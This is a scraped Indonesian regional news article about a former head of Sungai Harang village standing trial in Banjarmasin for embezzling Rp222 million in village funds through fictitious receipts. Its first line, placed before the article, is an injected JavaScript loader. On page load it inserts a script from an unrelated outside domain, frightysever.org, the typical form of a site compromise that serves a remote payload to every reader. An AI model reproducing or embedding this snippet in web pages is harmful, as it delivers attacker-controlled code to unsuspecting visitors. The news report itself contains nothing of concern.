(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mantan Kades di HST Diadili Korupsi Dana Desa Modus Nota Fiktif


KANALKALIMANTAN.COM, BANJARMASIN – Seorang mantan Kepala Desa (Kades) di Kabupaten Hulu Sungai Tengah (HST) harus berhadapan dengan hukum karena tersandung kasus dugaan penyalahgunaan dana desa.

Rusdiansyah (47), Kades Sungai Harang, Kecamatan Haruyan, periode 2014-2020 duduk di kursi pesakitan Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin.

Sidang perdana dengan agenda dakwaan dipimpin oleh Ketua Majelis Hakim Fidiyawan Satriantoro SH dan didampingi dua hakim anggota.

Baca juga: Eksekusi Pembongkaran Kandang Babi di Guntung Manggis Batal

Rusdiansyah didakwa telah melakukan korupsi memperkaya diri sendiri atau orang sebesar Rp222 juta saat masih menjabat sebagai Kades Sungai Harang.

Jaksa Penuntut Umum (JPU) yang juga Kasi Pidsus Kejari HST, Hendrik Fayol SH dalam dakwaan mengatakan bahwa perbuatan terdakwa dilakukan pada rentang waktu tahun 2019-2020.

Dimana pada tahun 2019, tujuh pekerjaan proyek desa, dimana terdapat dana yang tidak dapat dipertanggungjawabkan terdakwa sebesar Rp138 juta.

Baca juga: ULM Turun ‘Kasta’ A ke C, Mahasiswa Hilang Semangat Rampungkan Skripsi

Kemudian pada 2020, sejumlah pekerjaan proyek kembali menimbulkan selisih anggaran sebesar Rp83 juta.

Modus korupsi yang dilakukan terdakwa, kata Hendrik, yaitu dengan membuat nota fiktif.

“Kerugian keuangan negara, hasil audit Inspektorat sebesar Rp222 juta,” ungkap Hendrik saat membaca surat dakwaan, Senin (23/9/2024).

Baca juga: Serikat Petani Indonesia dan Walhi Kalsel Dampingi Petani Sumardi Jalani Sidang

Rusdiansyah didakwa dengan Pasal 2 Jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagai dakwan primair.

Sementara subsidair dipasang pasal 3 Jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Sejak proses penyidikan hingga persidangan, Rusdiansyah telah dilakukan penahanan, saat ini ditahan di Lapas Teluk Dalam Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Penyelewengan BBM Subsidi di Banjarmasin, Polisi Sita 2.035 Liter Pertalite

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More

10 jam ago

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

21 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

23 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

1 hari ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

1 hari ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

1 hari ago

This website uses cookies.